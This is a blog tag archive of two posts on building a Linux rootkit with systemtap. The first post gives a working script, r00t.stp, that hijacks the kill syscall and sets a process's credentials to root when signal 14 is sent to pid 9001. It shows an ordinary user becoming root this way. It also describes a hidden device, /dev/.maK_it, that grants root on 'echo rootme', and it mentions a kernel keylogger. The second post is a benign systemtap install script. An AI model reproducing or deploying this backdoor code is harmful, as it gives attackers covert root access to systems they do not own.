Tag Archives: systemtap

Ninja access to root privileges from userspace

In this section I will be investigating a few different rootkit methods of escalating privileges from a regular user to a root user. I will then implement one of these methods in my kernel module.

The first method I would like to look at is triggering our root privileges by hijacking the kill system call. This involves replacing sys_kill with our own kill functionality. The idea here is to escalate the calling process to root when our regular user tries to kill a certain *secret* or *magic* process id. So lets have a look at the kill system call.

Kill ’em all!

By running the following:

stap -L syscall.kill

We can see the various variables our kill syscall has to deal with.

syscall.kill name:string pid:long sig:long argstr:string $pid:pid_t $sig:int $info:struct siginfo

As a test I ran the following systemtap script

//Run this using stap sys_kill.stp
#/usr/bin/env stap
probe syscall.kill{ 
	printf("name:%s\npid:%d\nsignal:%d\n",name,pid,sig)
}

I opened a new window and then ran kill 9001. I was greeted with the following output in the other window running our script:

name:kill
pid:9001
signal:15

Running kill -l we can read a list of the different signal numbers. We can easily see that signal 15 is SIGTERM. Using kill -s [SIGNAL NAME] 9001 we can then confirm that the other signals match up with our output. We can also see a value of 15 for the SIGTERM when we press ctrl+c to kill the stap script. This could also be confirmed using strace with the following command and output:

[root@localhost ~]# strace -e trace=kill kill 9001
kill(9001, SIGTERM)                     = -1 ESRCH (No such process)
kill 9001: No such process

Here we can see the return value and the message output to the terminal if the process/pid 9001 doesn’t exist. The next step is looking at ways to change the process credentials from our current user to root.

Escalating privileges

In order to raise the current users privileges to root we will need to look at /kernel/cred.c this file is included as part of linux/sched.h. We will need to include this in our module or stap script to use it.

The 2 functions we’ll be looking at are prepare_creds and commit_creds. We can read what they do from the kernel source…

prepare_creds:
Prepare a new set of task credentials for modification. A task's creds shouldn't generally be modified directly, therefore this function is used to prepare a new copy, which the caller then modifies and then commits by calling commit_creds().
commit_creds:
Install a new set of credentials to the current task, using RCU to replace the old set.  Both the objective and the subjective credentials pointers are updated. This function may not be called if the subjective credentials are in an overridden state.

What I have done is created a function to carry out this task. I will then use various methods of triggering this function. After it runs the calling user should have changed credentials, giving the process and our user root privileges. We can demonstrate this with the following systemtap script: r00t.stp

#!/usr/bin/env stap
%{
#include <linux/sched.h>
%}

function root_me:long() %{
        struct cred *haxcredentials;
        haxcredentials = prepare_creds();
        if (haxcredentials == NULL)
                return;
        haxcredentials->uid = haxcredentials->gid = 0;
        haxcredentials->euid = haxcredentials->egid = 0;
        haxcredentials->suid = haxcredentials->sgid = 0;
        haxcredentials->fsuid = haxcredentials->fsgid = 0;
        commit_creds(haxcredentials);
%}

probe syscall.kill{
    if(sig == 14 && pid == 9001){
        root_me()
    }
}

This is a good demonstration without the need to fully implement the same in a kernel module. As a regular user, running kill -s SIGALRM 9001 we can gain root privileges. Here is an example:
In one window we run the following

[root@localhost ~]# stap -g r00t.stp

In our second user window we run

[mak@localhost ~]$ id
uid=500(mak) gid=500(mak) groups=500(mak)
[mak@localhost ~]$ kill -s SIGALRM 9001
bash: kill: (9001) - No such process
[mak@localhost ~]$ id
uid=0(root) gid=0(root) groups=0(root),500(mak)

Using this same root_me function it is possible to escalate privileges under a large number of different circumstances. We could easily hijack any other system call and do the same thing using alternative conditions.

In the keylogger I recently wrote. I’ve implemented my own character device. Using this same method for passing commands via the device, I have included the option to give a regular user root privileges when they run the following:

echo rootme > /dev/.maK_it

This functionality will be part of the next code release I do. Next I plan on looking at hiding processes, files and maybe users.

Systemtap installation on CentOS 6.5

This post is simply just a quick note about how to install systemtap on a fresh install of CentOS 6.5. This will also be the development environment and OS I’ll be using for the development of my rootkit. Below you will find a very simple script I wrote to complete this process.

We will need to first acquire the kernel debuginfo packages for our current kernel version. This will allow Systemtap to take full advantage of the the kernel probing system it requires to operate. The debug packages we need to install are kernel-debuginfo, kernel-debuginfo-common and kernel-devel.

We then also need to install systemtap. You can find the script below. You may also find that after you update/upgrade your kernel, the debuginfo packages may need to be installed again. Running this script in these scenarios should also work.

centos-systemtap-debuginfo.sh

#!/bin/bash
WEB="http://debuginfo.centos.org/6/i386/"
RELEASE=`uname -r`
MACHINE=`uname -m`
PKG1="kernel-debuginfo-$RELEASE.rpm"
PKG2="kernel-debuginfo-common-$MACHINE-$RELEASE.rpm"
wget $WEB$PKG1
wget $WEB$PKG2
#Build Downloaded debuginfo packages
rpm -Uhv kernel-debuginfo-*.rpm
#Install systemtap and kernel-developemnt packages
yum install systemtap kernel-devel

After running this, systemtap should be installed and ready to go. I  ran this on a fresh install without any other previous tampering. You can test if it worked by running something such as the following.

stap

stap -L 'kernel.function("*")'

Running this should present a list of kernel functions. In my next post I will be discussing how an IO device such as a keyboard operates, I will also be fully investigating the various components within the kernel using systemtap and how keyboard input is processed. This will preempt the development of my kernel key logger.